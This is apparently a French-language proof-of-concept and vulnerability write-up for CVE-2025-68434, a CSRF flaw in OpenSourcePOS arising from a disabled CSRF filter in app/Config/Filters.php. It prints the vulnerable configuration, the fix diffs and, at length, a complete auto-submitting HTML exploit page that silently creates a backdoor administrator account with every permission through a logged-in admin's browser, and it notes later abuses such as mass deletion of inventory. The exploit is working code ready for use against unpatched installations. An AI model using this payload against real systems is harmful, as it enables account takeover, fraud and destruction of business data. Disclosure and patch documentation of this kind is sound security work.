
PoC & Write-up pour CVE-2025-68434 : CSRF critique dans OpenSourcePOS. Exploite une configuration de filtre désactivée pour permettre à des attaquants non authentifiés de créer silencieusement des comptes Administrateur malveillants, entraînant une prise de contrôle complète du système. Validé sur les versions < 3.4.0.
| Métadonnées | Détails |
|---|
| ID CVE | CVE-2025-68434 |
| Sévérité | Critique (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Type de vulnérabilité | Cross-Site Request Forgery (CWE-352) |
| Versions affectées | OpenSourcePOS v3.4.0, v3.4.1 |
| Version corrigée | v3.4.2 |
| Composant vulnérable | app/Config/Filters.php (Global Security Filters) |
| Rapporteur | Aditya Singh (Nixon-H) |
Une vulnérabilité Critique de Cross-Site Request Forgery (CSRF) a été découverte dans la configuration de sécurité centrale d'OpenSourcePOS. Le mécanisme de protection CSRF global de l'application était explicitement désactivé dans le fichier app/Config/Filters.php en raison d'un "TODO" de développement temporaire qui n'a jamais été résolu.
Cette mauvaise configuration permettait à l'application d'accepter des requêtes HTTP modifiant l'état (POST) sans vérifier un jeton anti-contrefaçon valide. Un attaquant distant non authentifié pouvait exploiter cela en amenant un Administrateur connecté à visiter une page malveillante. La page de l'attaquant forcerait alors silencieusement le navigateur de la victime à exécuter des actions administratives ; spécifiquement, créer un nouveau compte Administrateur "Backdoor" avec tous les privilèges ; conduisant à une prise de contrôle complète du système.
La vulnérabilité se trouvait dans la configuration Global Filters (app/Config/Filters.php). Dans CodeIgniter 4, le tableau $globals détermine quels filtres s'exécutent sur chaque requête.
Dans les versions affectées, le filtre csrf a été mis en commentaire dans la liste d'exécution before, désactivant ainsi la protection CSRF pour l'ensemble de l'application.
Code vulnérable (app/Config/Filters.php) :
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Étant donné que cette ligne a été mise en commentaire, le middleware chargé de vérifier csrf_token_name ne s'est jamais exécuté. L'application acceptait toute requête POST de n'importe quelle origine, en s'appuyant uniquement sur le cookie de session (ospos_session) pour l'authentification.
csrf_exploit.html sur un serveur externe.valid_12345) est créé instantanément.POC/csrf_exploit.html)Ceci est la charge utile exacte utilisée pour créer un Administrateur malveillant avec toutes les permissions :
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
<input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
<input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
<input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
<input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
<input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
<input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
<input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
<input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
<input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
<input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
<input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
<input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
<input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
<input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
<input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
<input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
<input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
<input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">
<input type="hidden" name="honeypot" value="">
<script>
// 1. Generate unique ID to ensure valid creation
var id = Math.floor(Math.random() * 99999);
var user = "valid_" + id;
// 2. Inject into form
document.getElementById('username').value = user;
document.getElementById('email').value = user + "@test.com";
document.getElementById('msg').innerText = "Attacking with user: " + user;
// 3. Auto-submit
setTimeout(function() {
document.getElementById('hackForm').submit();
}, 1000);
</script>
</form>
</body>
</html>
(Les images et fichiers d’exploitation se trouvent dans le dossier POC/)
Capture d'écran 1 : Exécution de l'exploit
Capture d'écran 2 : Compte malveillant créé
🎥 Démonstration vidéo : Cliquez pour regarder / Télécharger la vidéo PoC
Le compte créé n'est pas une simple session temporaire ; il s'agit d'une entrée permanente dans la base de données.
En utilisant la permission grant_config, l'attaquant peut modifier la configuration du magasin.
/items/delete), effaçant l'intégralité de la base de données d'inventaire et stoppant les opérations commerciales.La vulnérabilité a été corrigée dans OpenSourcePOS v3.4.2. La correction a nécessité un changement architectural en plusieurs étapes pour gérer les conditions de course dans l'interface de vente fortement basée sur AJAX.
Dans app/Config/Filters.php, le filtre CSRF global a été décommenté.
'before' => [
'honeypot',
- // 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
+ 'csrf' => ['except' => 'login'],
'invalidchars',
],
Dans app/Config/Security.php, les développeurs sont passés des jetons basés sur les cookies aux jetons basés sur les sessions et ont désactivé la régénération des jetons pour éviter les problèmes avec les requêtes AJAX parallèles (par ex., dans le module Sales).
- public string $csrfProtection = 'cookie';
+ public string $csrfProtection = 'session';
- public bool $regenerate = true;
+ public bool $regenerate = false;
Le fichier app/Views/partial/header_js.php a été mis à jour pour injecter le hash du jeton directement depuis le serveur plutôt que de le lire depuis un cookie côté client, améliorant ainsi la posture de sécurité.
- var csrf_token = function() {
- return Cookies.get(cookie_name);
- };
+ var csrf_token = function() {
+ return "<?= csrf_hash() ?>";
+ };
d575c8d) et vérifié par le chercheur.